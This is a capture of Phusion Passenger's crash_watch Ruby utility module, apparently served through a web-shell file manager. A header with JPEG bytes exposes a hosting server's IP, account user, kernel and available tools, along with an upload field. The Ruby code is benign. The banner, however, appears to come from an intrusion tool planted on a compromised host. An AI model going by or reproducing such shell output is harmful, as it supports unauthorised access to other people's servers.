????JFIF??x?x????'
| Server IP : 104.21.30.238 / Your IP : 216.73.216.113 Web Server : LiteSpeed System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64 User : tempvsty ( 647) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /././opt/cpanel/ea-ruby27/root/usr/share/passenger/phusion_passenger/vendor/crash_watch/ |
Upload File : |
# encoding: binary
#
# Copyright (c) 2016-2017 Phusion Holding B.V.
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
# "Software"), to deal in the Software without restriction, including
# without limitation the rights to use, copy, modify, merge, publish,
# distribute, sublicense, and/or sell copies of the Software, and to
# permit persons to whom the Software is furnished to do so, subject to
# the following conditions:
#
# The above copyright notice and this permission notice shall be
# included in all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
module CrashWatch
module Utils
extend Utils
def self.included(klass)
# When included into another class, make sure that Utils
# methods are made private.
public_instance_methods(false).each do |method_name|
klass.send(:private, method_name)
end
end
def gdb_installed?
command_installed?('gdb')
end
def lldb_installed?
command_installed?('lldb')
end
def command_installed?(command)
path = ENV['PATH'].to_s
path.split(File::PATH_SEPARATOR).each do |dir|
next if dir.empty?
filename = "#{dir}/#{command}"
if File.file?(filename) && File.executable?(filename)
return true
end
end
false
end
def popen_command(*command)
a, b = IO.pipe
c, d = IO.pipe
if Process.respond_to?(:spawn)
args = command.dup
args << {
STDIN => a,
STDOUT => d,
STDERR => d,
:close_others => true
}
pid = Process.spawn(*args)
else
pid = fork do
STDIN.reopen(a)
STDOUT.reopen(d)
STDERR.reopen(d)
b.close
c.close
exec(*command)
end
end
a.close
d.close
b.binmode
c.binmode
[pid, b, c]
end
def find_signal_name(signo)
Signal.list.each_pair do |name, number|
if number == signo
return name
end
end
nil
end
end
end